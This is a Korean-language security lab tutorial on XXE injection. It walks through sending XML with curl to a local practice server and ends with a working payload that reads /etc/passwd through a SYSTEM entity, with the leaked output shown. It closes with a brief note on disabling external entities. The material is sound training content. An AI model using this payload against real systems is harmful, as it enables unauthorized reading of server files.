XML 외부 엔티티 (XXE) 주입

사이버 보안Beginner
지금 연습하기

소개

이 실습에서는 애플리케이션의 XML 데이터 처리 방식을 방해할 수 있는 웹 보안 취약점인 XML 외부 엔티티 (XXE, XML External Entity) 주입에 대해 알아봅니다.

XXE 는 근본적으로 파서 (parser) 의 동작 방식과 관련이 있습니다. 애플리케이션은 데이터를 파싱한다고 생각하지만, XML 파서는 해당 데이터 형식에 포함된 추가적인 지시 사항까지 처리해 버립니다.

웹 애플리케이션이 외부 엔티티 해석 기능을 제대로 비활성화하지 않은 상태에서 XML 입력을 파싱하면, 공격자는 서버의 로컬 파일을 가리키는 사용자 지정 엔티티를 정의할 수 있습니다. 이러한 악의적인 엔티티를 XML 페이로드에 주입함으로써, 공격자는 서버가 민감한 파일 (예: /etc/passwd) 을 읽어 HTTP 응답으로 반환하도록 강제할 수 있습니다. 여러분은 보안 테스터가 되어 XML 엔드포인트를 식별하고, 악의적인 페이로드를 작성하며, 성공적으로 시스템 파일을 추출하는 과정을 수행하게 됩니다.

XML 데이터 처리 식별

이번 단계에서는 실습을 위해 설정된 로컬 웹 애플리케이션과 상호작용해 보겠습니다. 이 애플리케이션은 127.0.0.1의 5000 포트에서 실행 중이며, XML 데이터를 수신하는 /process 엔드포인트를 가지고 있습니다.

XML(eXtensible Markup Language) 은 클라이언트와 서버 간에 데이터를 구조화하고 전송하는 데 널리 사용되는 형식입니다. XXE 취약점을 악용하기 전에, 먼저 애플리케이션이 실제로 XML 입력을 처리하고 파싱된 데이터를 다시 반환하는지 확인해야 합니다.

XXE 는 XML 파싱이 실제로 일어날 때만 가능하기 때문에 이러한 초기 확인 과정이 중요합니다. 많은 엔드포인트가 텍스트를 수신하지만, 모든 엔드포인트가 본문을 XML 로 처리하는 것은 아닙니다.

curl 명령줄 도구를 사용하여 서버에 HTTP POST 요청을 보내겠습니다. POST 요청은 애플리케이션에 데이터를 전송하며, Content-Type: application/xml 헤더는 서버에 해당 데이터를 일반 텍스트나 JSON 이 아닌 XML 로 해석하도록 지시합니다.

터미널에서 다음 명령을 실행하여 기본적인 XML 페이로드를 전송해 보세요:

curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process

다음과 유사한 출력이 나타나야 합니다:

Hello, LabEx User!

이 출력은 두 가지 중요한 사실을 확인해 줍니다. 첫째, 애플리케이션이 XML 데이터를 성공적으로 파싱했습니다. 둘째, 애플리케이션이 <name> 태그 내부의 텍스트를 추출하여 응답으로 다시 반환했습니다. 이 반환 (reflection) 과정은 나중에 주입한 엔티티의 결과를 확인할 수 있게 해주므로 매우 중요합니다.

XML 요청 가로채기

실제 모의 해킹 환경에서 보안 연구원들은 Burp Suite 와 같은 프록시 도구를 사용하여 웹 요청을 가로채고 수정합니다. 우리는 터미널 환경에서 작업하므로, XML 페이로드를 로컬 파일에 저장하는 방식으로 이 과정을 시뮬레이션하겠습니다. 이렇게 하면 복잡한 다중 라인 XML 구조를 편집하고 주입할 때 명령줄 이스케이프 처리의 번거로움 없이 훨씬 쉽게 작업할 수 있습니다.

페이로드를 파일로 옮기는 것은 단순히 편리함을 위한 것만이 아닙니다. 복잡한 구조의 입력을 더 쉽게 이해하고 수정할 수 있게 해주며, 이는 구문 자체가 공격 성공 여부에 영향을 미치는 상황에서 매우 중요합니다.

현재 디렉토리 (~/project) 에 payload.xml이라는 파일을 생성하겠습니다. nano 텍스트 편집기를 사용하여 파일을 만들고 편집할 것입니다. nano를 사용해 본 적이 없다면, 이 편집기는 이번 페이로드와 같은 작은 파일을 다루기에 적합한 간단한 터미널 기반 편집기입니다.

다음 명령을 실행하여 편집기를 엽니다:

nano payload.xml

파일에 다음 표준 XML 구조를 입력하거나 붙여넣으세요:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>Security Tester</name>
</root>

파일을 저장하고 편집기를 종료합니다 (nano에서는 Ctrl+O를 누른 후 Enter를 눌러 저장하고, Ctrl+X를 눌러 종료합니다).

이제 curl을 사용하여 이 파일을 서버로 전송해 보겠습니다. @ 기호는 curl에게 문자열을 그대로 사용하는 대신 지정된 파일에서 데이터를 읽어오라고 지시합니다.

다음 명령을 실행하세요:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

다음과 같은 출력이 나타나야 합니다:

Hello, Security Tester!

페이로드를 파일로 옮김으로써, 다음 단계에서 XXE 주입을 수행하기 위한 깔끔한 작업 환경을 준비했습니다.

외부 엔티티 정의 (DOCTYPE)

이제 작동하는 XML 파일이 준비되었으므로 구조를 조작해 볼 수 있습니다. XML 은 개발자가 DTD(Document Type Definition) 내에서 "엔티티 (Entities)"라는 사용자 지정 변수를 정의할 수 있도록 허용합니다. DOCTYPE 은 XML 문서 상단에 위치하며 파서에 대한 규칙이나 재사용 가능한 값을 설명하는 추가 섹션입니다.

엔티티는 바로가기와 같은 역할을 합니다. test라는 엔티티를 Injected Data라는 값으로 정의하면, XML 문서 어디에서든 &test;라고 작성할 때마다 XML 파서가 이를 Injected Data로 치환합니다. 파서가 취약하다면 보안 검사 없이 이러한 사용자 지정 엔티티를 처리하게 됩니다.

이 무해한 예제는 파일 기반의 외부 엔티티로 넘어가기 전에 엔티티 확장 기능이 활성화되어 있는지 확인하는 중요한 단계입니다.

payload.xml 파일을 수정하여 DOCTYPE 선언과 사용자 지정 엔티티를 포함해 보겠습니다.

파일을 다시 엽니다:

nano payload.xml

파일 내용을 다음 코드로 업데이트하세요:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY test "Injected Entity Data">
]>
<root>
    <name>&test;</name>
</root>

파일을 저장하고 nano를 종료합니다 (Ctrl+O, Enter, Ctrl+X).

이 페이로드에서 test라는 엔티티를 정의했습니다. <name> 태그 내부에서는 &test;를 사용하여 이 엔티티를 참조했습니다. 이제 이 업데이트된 페이로드를 서버로 전송하여 사용자 지정 엔티티가 제대로 해석되는지 확인해 보겠습니다.

curl 명령을 다시 실행하세요:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

다음과 같은 출력이 나타나야 합니다:

Hello, Injected Entity Data!

서버가 &test;를 우리가 정의한 문자열로 성공적으로 치환했습니다. 이는 XML 파서가 엔티티를 활발하게 해석하고 있음을 증명하며, 따라서 XML 외부 엔티티 (XXE) 주입 취약점이 존재할 가능성이 매우 높다는 것을 의미합니다.

로컬 파일 추출 (/etc/passwd)

이전 단계에서는 내부 엔티티를 정의했습니다. XXE 의 진정한 위험은 외부 (External) 엔티티를 정의할 때 발생합니다. SYSTEM 키워드를 사용하면 XML 파서가 URL 이나 로컬 파일 경로와 같은 외부 소스에서 엔티티 값을 가져오도록 지시할 수 있습니다.

웹 서버의 XML 파서 설정이 미흡하면, 우리가 지정한 파일의 내용을 읽어 XML 문서에 포함시킵니다. 애플리케이션이 <name> 태그를 다시 반환하기 때문에, 우리는 HTTP 응답에서 파일 내용을 확인할 수 있게 됩니다. 이것이 바로 반환 (reflection) 이 공격자에게 매우 가치 있는 이유입니다. 보이지 않는 서버 측 파일 읽기 작업을 브라우저나 터미널에서 볼 수 있는 출력으로 바꿔주기 때문입니다.

사용자 계정 정보가 포함된 표준 Linux 파일인 /etc/passwd를 읽어보겠습니다. 이 파일은 시스템의 모든 사용자가 읽을 수 있어 파일 읽기 취약점을 테스트하는 일반적인 대상입니다.

마지막으로 페이로드 파일을 엽니다:

nano payload.xml

SYSTEM 키워드를 사용하고 file:// 프로토콜을 사용하여 로컬 파일을 가리키도록 엔티티 정의를 수정하세요:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <name>&xxe;</name>
</root>

파일을 저장하고 nano를 종료합니다 (Ctrl+O, Enter, Ctrl+X).

이제 악의적인 페이로드를 서버로 전송합니다:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process

공격이 성공하면 서버가 /etc/passwd 파일을 읽어 응답으로 내용을 반환합니다. 다음과 유사한 대량의 텍스트 블록이 나타나야 합니다:

Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!

축하합니다! 여러분은 XML 외부 엔티티 취약점을 성공적으로 악용하여 웹 서버에서 민감한 로컬 파일을 추출했습니다.

요약

이번 실습에서는 XML 외부 엔티티 (XXE) 취약점을 식별하고 악용하는 방법을 배웠습니다. 먼저 웹 애플리케이션이 XML 데이터를 처리하고 반환하는지 확인하는 것으로 시작했습니다. 그 후 DOCTYPE 선언을 사용하여 사용자 지정 XML 엔티티를 정의하는 방법을 익혔습니다. 마지막으로 SYSTEM 키워드를 사용하여 외부 엔티티를 생성함으로써 공격을 심화시켰고, 서버의 XML 파서가 로컬 /etc/passwd 파일을 읽어 그 내용을 반환하도록 강제했습니다.

XXE 취약점을 방지하기 위해 개발자는 XML 파서 설정에서 외부 엔티티 및 DTD(Document Type Definition) 해석 기능을 완전히 비활성화해야 합니다.